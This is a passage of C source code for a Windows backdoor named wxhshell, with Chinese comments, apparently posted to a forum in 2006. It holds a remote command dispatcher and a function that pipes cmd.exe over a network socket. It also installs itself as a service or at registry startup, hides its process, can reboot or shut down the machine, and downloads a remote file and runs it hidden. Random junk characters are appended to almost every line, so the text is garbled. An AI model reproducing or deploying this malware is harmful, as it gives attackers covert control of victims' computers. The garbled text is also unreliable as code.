  } /|<0,ozoJ  
  // 安装 |~=4Z rcCP  
  case 'i': { 3>z+3!I z  
    if(Install()) U"Z %_[*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l_(4CimOZ  
    else ]O~/k~f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h5))D!  
    break; |G)bnmi7  
    } *yW9-(  
  // 卸载 m h|HEkM  
  case 'r': { UZE%!OWpeK  
    if(Uninstall()) PU\@^)$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KpO%)M!/Z#  
    else r\|"j8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BFn}~\wzK  
    break; ~ o5h}OU"  
    } q,j` _ R4  
  // 显示 wxhshell 所在路径 K]i2$M  
  case 'p': { Uq2Qh@B  
    char svExeFile[MAX_PATH]; l3kBt-m  
    strcpy(svExeFile,"\n\r"); 79U 7<]-!  
      strcat(svExeFile,ExeFile); p*=9Ea:  
        send(wsh,svExeFile,strlen(svExeFile),0); |CjdmQ u  
    break; !|#1z}(  
    } `ln= D$  
  // 重启 .PJ_1  
  case 'b': { sT"{ e7;F;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q__1QUu  
    if(Boot(REBOOT)) O[&G6+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q.RW_t~  
    else { No)@#^  
    closesocket(wsh); ]b@:?DX8  
    ExitThread(0); h}P""  
    } <1E* wPm8  
    break; &v_b7h  
    } j'FBt8P'  
  // 关机 _l.kbfp@  
  case 'd': { 5,W DmhJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C`C$i>X7^  
    if(Boot(SHUTDOWN)) %g%#=a;]q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jhSc9  
    else { imf_@_  
    closesocket(wsh); 3`m n#RM  
    ExitThread(0); xBMhk9b^0  
    } WqRg/  
    break; dg42K`E  
    } w.H\j9E l  
  // 获取shell 4 5\%2un  
  case 's': { 6 {tW$q  
    CmdShell(wsh);  &+Pcu5  
    closesocket(wsh); F>A&L8  
    ExitThread(0); KcX] g*wy  
    break; NFcMh+qnK  
  } {EGm6WSQ^  
  // 退出 mEe JK3D[  
  case 'x': { 9l :Bum)9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?I.<mdhN#t  
    CloseIt(wsh); QA&BNG  
    break; Y r^C+Oyg  
    } 3?GEXO&,E  
  // 离开 fhp][)g;  
  case 'q': { G>0S( M)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YkLEK|d  
    closesocket(wsh); HLcK d`$/  
    WSACleanup(); f ^f{tOX  
    exit(1); Q2[D|{Z  
    break; L7tC?F]}SK  
        } &Rx-zp&dJ  
  } 0UvN ws  
  } ?gMxGH:B.&  
M[R\URu8  
  // 提示信息 RWi~34r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wDV%.Cc  
} -\!"Kz/  
  } z`D;8x2b  
.q1OT>  
  return; fK|F`F2V  
} 5M2G ;o  
;Qc_Tf=,  
// shell模块句柄 tc@([XqH  
int CmdShell(SOCKET sock) ^ cn)eA  
{ 6 ztM(2[  
STARTUPINFO si; /CAi%UH,F  
ZeroMemory(&si,sizeof(si)); e8@@Pi<sB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -$4#eG%3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~',<7eW  
PROCESS_INFORMATION ProcessInfo; Fss7xP'  
char cmdline[]="cmd"; gekW&tRie  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yU~OfwQ  
  return 0; q8 ;WHfGf  
} ~)#JwY  
sSC yjS'T  
// 自身启动模式 zUqt^_  
int StartFromService(void)  Yq.Cz:>b  
{ qsUlfv9L6  
typedef struct b<B|p|  
{ (ROurq"  
  DWORD ExitStatus; [}|-% 4s  
  DWORD PebBaseAddress; aUN!Sd2,  
  DWORD AffinityMask; I% 43rdoPe  
  DWORD BasePriority; 95,y@~ *]  
  ULONG UniqueProcessId; 33_YZOy^j  
  ULONG InheritedFromUniqueProcessId; \$2E  
}   PROCESS_BASIC_INFORMATION; O1Gd_wDC/i  
m?G}%u  
PROCNTQSIP NtQueryInformationProcess; h:3`e`J<h  
f$mfY6v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1\q2;5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kEtYuf^  
?]081l7cd  
  HANDLE             hProcess;  '._8  
  PROCESS_BASIC_INFORMATION pbi; AAkdwo  
+.Kmpw4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9N|O*h1;u  
  if(NULL == hInst ) return 0; ^.F@yo2}  
W xyQA:3s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Cd.pMoS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B&_62`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); inavi5.  
x"~F=jT  
  if (!NtQueryInformationProcess) return 0; *Wv]DV=\  
kDJ5x8Q#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lcij}-z:%e  
  if(!hProcess) return 0; [1'`KJ]  
|<\L B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^u#!Yo.!(  
Xd>4n7nb$`  
  CloseHandle(hProcess); E27wxMU  
 &(\z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  B&#TbKp  
if(hProcess==NULL) return 0; vbmSbZ"y  
)'xTDi  
HMODULE hMod; u4NMJnX  
char procName[255]; _/ZIDIn  
unsigned long cbNeeded; l}%!&V0  
kssS,Ogf\_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u#?K/sU  
U?d1  
  CloseHandle(hProcess); X3I\O,"I  
dfGdY"&  
if(strstr(procName,"services")) return 1; // 以服务启动 @0?Mwy!  
<wxI>T}b  
  return 0; // 注册表启动 |x 2>F  
} r80w{[S$  
8HdmG{7.  
// 主模块 zWgNDYT~  
int StartWxhshell(LPSTR lpCmdLine) too=+'<N</  
{ 4hg]/X"H#  
  SOCKET wsl; m>$+sMZE  
BOOL val=TRUE; 9zEO$<e o  
  int port=0; {*As-Y:'F  
  struct sockaddr_in door; p8Di9\}  
|:`f#H  
  if(wscfg.ws_autoins) Install(); s%>>E!Qi_  
C 7YZ;{t  
port=atoi(lpCmdLine); q/Ba#?sen  
S& 8gZ~B  
if(port<=0) port=wscfg.ws_port; 97e fWYj  
/OK.n3Tt  
  WSADATA data; 0K`3BuBs  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K7Kd{9-2  
7w_`<b6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y<X%'Wd\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X3#|9  
  door.sin_family = AF_INET; !v<r=u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WZ'8{XY8  
  door.sin_port = htons(port); ;#P@(ZVT  
Vc$x?=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7m{ 'V`F  
closesocket(wsl); C;}~C:aJ  
return 1; muo(bR8  
} W*e6F?G  
>,Zjlkh3  
  if(listen(wsl,2) == INVALID_SOCKET) { 4~hd{8  
closesocket(wsl); kB_GL>fc  
return 1; &Hb6  
} FF6[qSV  
  Wxhshell(wsl); G$}\~dD  
  WSACleanup(); mMjY I1F  
oh-Y  
return 0; *oL?R2#7  
{3lsDU4  
} y/h~oGxy  
3_~V(a  
// 以NT服务方式启动 )9 5&-Hs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >y"W(  
{ 4 FW~Y  
DWORD   status = 0; m"<0sqD;  
  DWORD   specificError = 0xfffffff; 6C4c.+S  
z4b2t}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [U]U *x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I!dA{INN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *r@7:a5  
  serviceStatus.dwWin32ExitCode     = 0; 5'd$TC  
  serviceStatus.dwServiceSpecificExitCode = 0; Q4Zuz)r*  
  serviceStatus.dwCheckPoint       = 0; rE;*MqYt&  
  serviceStatus.dwWaitHint       = 0; 8{#W F#  
%/"I.\%d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )o;/*h%@  
  if (hServiceStatusHandle==0) return; pYa8iQ`6U;  
>0DQ<@ot:  
status = GetLastError(); f 5"1WtB  
  if (status!=NO_ERROR) ^=.R#zrc  
{ R2vT\ 6xv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m~'!  
    serviceStatus.dwCheckPoint       = 0; LQ`s>q  
    serviceStatus.dwWaitHint       = 0; =,$*-<p=3  
    serviceStatus.dwWin32ExitCode     = status; <qT[  
    serviceStatus.dwServiceSpecificExitCode = specificError; KiAWr-~gJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B>rz<bPT  
    return; 'i;1n  
  } GPz0qK  
"s]r"(MX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ok2KTsVl  
  serviceStatus.dwCheckPoint       = 0; [Gop-Vi/~  
  serviceStatus.dwWaitHint       = 0; k\BJs@-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WvR-0>E  
} CuC1s>  
rR]U Ff  
// 处理NT服务事件,比如:启动、停止 r+n0M';0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V 6I77z  
{ @W6:JO  
switch(fdwControl) _;!7:'J  
{ /4/'&tY  
case SERVICE_CONTROL_STOP: 3n;>k9{  
  serviceStatus.dwWin32ExitCode = 0; L#O1 >  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]<L(r,@,  
  serviceStatus.dwCheckPoint   = 0; 5{Q5?M]  
  serviceStatus.dwWaitHint     = 0; ${m;x:'  
  { lC/1,Z/M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 60,z!Vv  
  } )Tjh  
  return; /By:S/[1pL  
case SERVICE_CONTROL_PAUSE: K8#MQR2@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^Ej$o@PH  
  break; p 4_j>JPv5  
case SERVICE_CONTROL_CONTINUE: c?5?TJpm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !C\$=\$  
  break; g)$/'RB  
case SERVICE_CONTROL_INTERROGATE: F t/yPv  
  break; #1*#3p9UL  
}; GWFF.Mo^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hb}O/G$a*  
} 4`yE'%6.}  
Ov8^6O  
// 标准应用程序主函数 JfD-CoQS'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '41'Gn  
{ M[  {O%!  
S[ch/  
// 获取操作系统版本 Q^\m@7O :  
OsIsNt=GetOsVer(); &!P' M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8\WV.+  
0N;~(Vt2  
  // 从命令行安装 q QcQnd2K  
  if(strpbrk(lpCmdLine,"iI")) Install(); <W] RyEg`  
Cj%n?-  
  // 下载执行文件 '9{`Czc(Gb  
if(wscfg.ws_downexe) { Y5c,O>T5Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Gj_7wP$  
  WinExec(wscfg.ws_filenam,SW_HIDE); )]}G8A  
} FKZ'6KM&A  
>``sM=Wat  
if(!OsIsNt) { 6ChFsteGFr  
// 如果时win9x,隐藏进程并且设置为注册表启动 (+yH   
HideProc(); }7non  
StartWxhshell(lpCmdLine); Ez8k.]qu  
} GYZP?E p*  
else !"2S'oQKS  
  if(StartFromService()) g.Tc>?~  
  // 以服务方式启动 l1bkhA b  
  StartServiceCtrlDispatcher(DispatchTable); D@2L<!\  
else XGuxd  
  // 普通方式启动 eFh7#~m  
  StartWxhshell(lpCmdLine); p}oGhO&=  
3CzF@t;5  
return 0; q9 :g  
}
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只看该作者 1 发表于: 2006-10-10
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